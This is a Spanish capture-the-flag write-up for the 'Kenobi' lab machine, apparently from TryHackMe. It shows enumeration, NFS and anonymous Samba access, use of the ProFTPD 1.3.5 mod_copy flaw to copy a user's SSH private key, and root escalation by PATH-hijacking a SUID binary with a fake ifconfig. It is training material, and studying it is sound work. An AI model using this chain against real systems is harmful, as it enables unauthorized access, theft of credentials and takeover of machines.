Kenobi

10.10.144.45 Linux Fácil

Enumeración

Nmap

sudo nmap -sV 10.10.144.45

Resultado:

PORT STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.3.5

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

111/tcp open rpcbind 2-4 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

2049/tcp open nfs 2-4 (RPC #100003)

Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Características detectadas:

  • Puerto 21: Servidor FTP ProFTPD (1.3.5)
  • Puerto 22: Servidor OpenSSH (7.2p2)
  • Puerto 80: Servidor Web Apache (2.4.18)
  • Puerto 111: Servicio rpcbind (2-4)
  • Puerto 139 y 445: Servicio Samba (3.X - 4.X)
  • Puerto 2049: Servicio NFS: Network File System, o Sistema de Archivos de Red (2-4)

Explotación

Montaje de NFS

Tiene abierto el puerto 2049 nfs. Esto significa que podremos montar algún directorio.

showmount -e 10.10.144.45
foto

Figura 1: Podremos interactura con el directorio /var

mkdir -p tmp/var
sudo mount -t nfs 10.10.144.45:/var tmp/var
df -k
foto

Figura 2: Montaje de directorio compartido vía NFS

Una vez montado, tendremos acceso al contenido del directorio /var de la máquina Kenobi:

foto

Figura 3: Contenido del directorio /var

Acceso a recursos de Samba

smbclient -L //10.10.144.45 -N
foto

Figura 4: Listar los recursos compartidos de Samba

Accedemos a la carpeta compartida anonymous:
(Si pide credenciales ponemos anonymous)

smbclient //10.10.144.45/anonymous
foto

Figura 5: Veremos un archivo llamativo: log.txt

Nos descargaremos el archivo log.txt

get log.txt /home/kali/Desktop/log.txt
foto

Figura 6: Descarga del archivo log.txt desde Samba

Ahora podremos ver el contenido del archivo desde nuestro equipo

foto

Figura 7: Contenido del archivo log.txt

Destaca sobre todo la parte inicial, donde vemos la creación de una llave privada para el usuario kenobi y su ubicación en el sistema.

foto

Figura 8: Contenido llamativo del archivo log.txt

Explotación de ProFTPD

Destaca sobre todo la parte inicial, donde vemos la creación de una llave privada para el usuario kenobi y su ubicación en el sistema.

foto

Figura 9: Busqueda de vulnerabilidades del servicio FTP (ProFTPD 1.3.5)

Esta vulnerabilidad para ProFTPD se conoce como “File_copy”, y nos permite realizar copias de archivos dentro del sistema de manera arbitraria sin la necesidad de estar debidamente autenticados.


Accedemos al servicio de ftp y haremos uso de estos dos comandos:
● SITE CPFR [ruta]: Selecciona un archivo origen (Copy From).
● SITE CPTO [ruta]: Copia el archivo seleccionado a un destino (Copy To).

nc 10.10.144.45 21
site help
site CPFR /home/kenobi/.ssh/id_rsa
site CPTO /var/tmp/id_rsa
foto

Figura 10: Uso del módulo mod_copy para copiar id_rsa

Ahora vamos a /var/tmp y ya tenemos allí la clave ssh

foto

Figura 11: Clave id_rsa descargada en nuestro equipo

Con la clave id_rsa podremos conectarnos por SSH a la máquina

Acceso SSH

Accedemos a la máquina por SSH usando la clave RSA

sudo chmod 600 id_rsa
ssh -i id_rsa kenobi@10.10.144.45
foto

Figura 12: Acceso SSH a la máquina como kenobi

User Flag

Una vez establecida la conexión SSH podremos ver la user flag (user.txt)

cat user.txt
foto

Figura 13: User Flag (user.txt)

Escalada de Privilegios

Path Hijacking

Primero buscaremos ficheros con permisos SUID activos

find / -perm -u=s 2>/dev/null
foto

Figura 14: Encontramos un binario sospechoso /usr/bin/menu

Hay un binario que no corresponde a los típico de linux (/usr/bin/menu). Para corroborarlo, lo ejecutaremos:

/usr/bin/menu
foto

Figura 15: Ejecución del binario sospechoso /usr/bin/menu

Vemos que es una utilidad que realiza diversas acciones dentro de la máquina y muestra información. Lo que está pasando por detrás, es que ejecuta otros comandos dentro de la máquina, lo cual puede ser peligroso ya que los binarios a los que manda a llamar no están declarados con su ruta absoluta.

Al ejecutar strings sobre el binario, observamos que realizan llamadas al comando ifconfig utilizando una ruta relativa. Para confirmar este comportamiento, inspeccionamos las cadenas de texto contenidas en el binario:

foto

Figura 16: Analizando el binario /usr/bin/menu

foto

Figura 17: Se realizan llamadas al comando ifconfig utilizando una ruta relativa

El programa ejecuta comandos sin ruta absoluta (ej. ifconfig en vez de /sbin/ifconfig).

● Si $PATH incluye un directorio que podemos escribir (como /tmp), podemos crear un falso comando malicioso.

● El sistema lo ejecutará en lugar del real → path hijacking, útil para ejecutar código propio o escalar privilegios.

Esto permite un path hijacking.

Miramos el contenido de la variable PATH para comprobar cuales están activas:

echo $PATH
foto

Figura 18: Comprobación de las variable PATH

Vamos al directorio /tmp y creamos un fichero ifconfig (ruta que usaremos para el path hijacking) que, al ejecutarse, abrirá una shell (/bin/sh)

cd /tmp
echo "/bin/sh" > ifconfig
chmod +x ifconfig
foto

Figura 19: Creación de un nuevo fichero ifconfig

Ahora modificamos el PATH y añadimos el directorio /tmp (donde se encuentra nuestro fichero ifconfig)

PATH=/tmp:$PATH
echo $PATH
foto

Figura 20: Modificación del PATH

Entonces, al ejecutar menú de nuevo con la opción de ifconfig nos convertiremos en root:

/usr/bin/menu

Elegimos la opción 3 (correspondiente al comando ifconfig)

foto

Figura 21: Ejecución de /menu con el PATH modificado

Root Flag

cd /root
cat root.txt
foto

Figura 22: Root Flag (root.txt)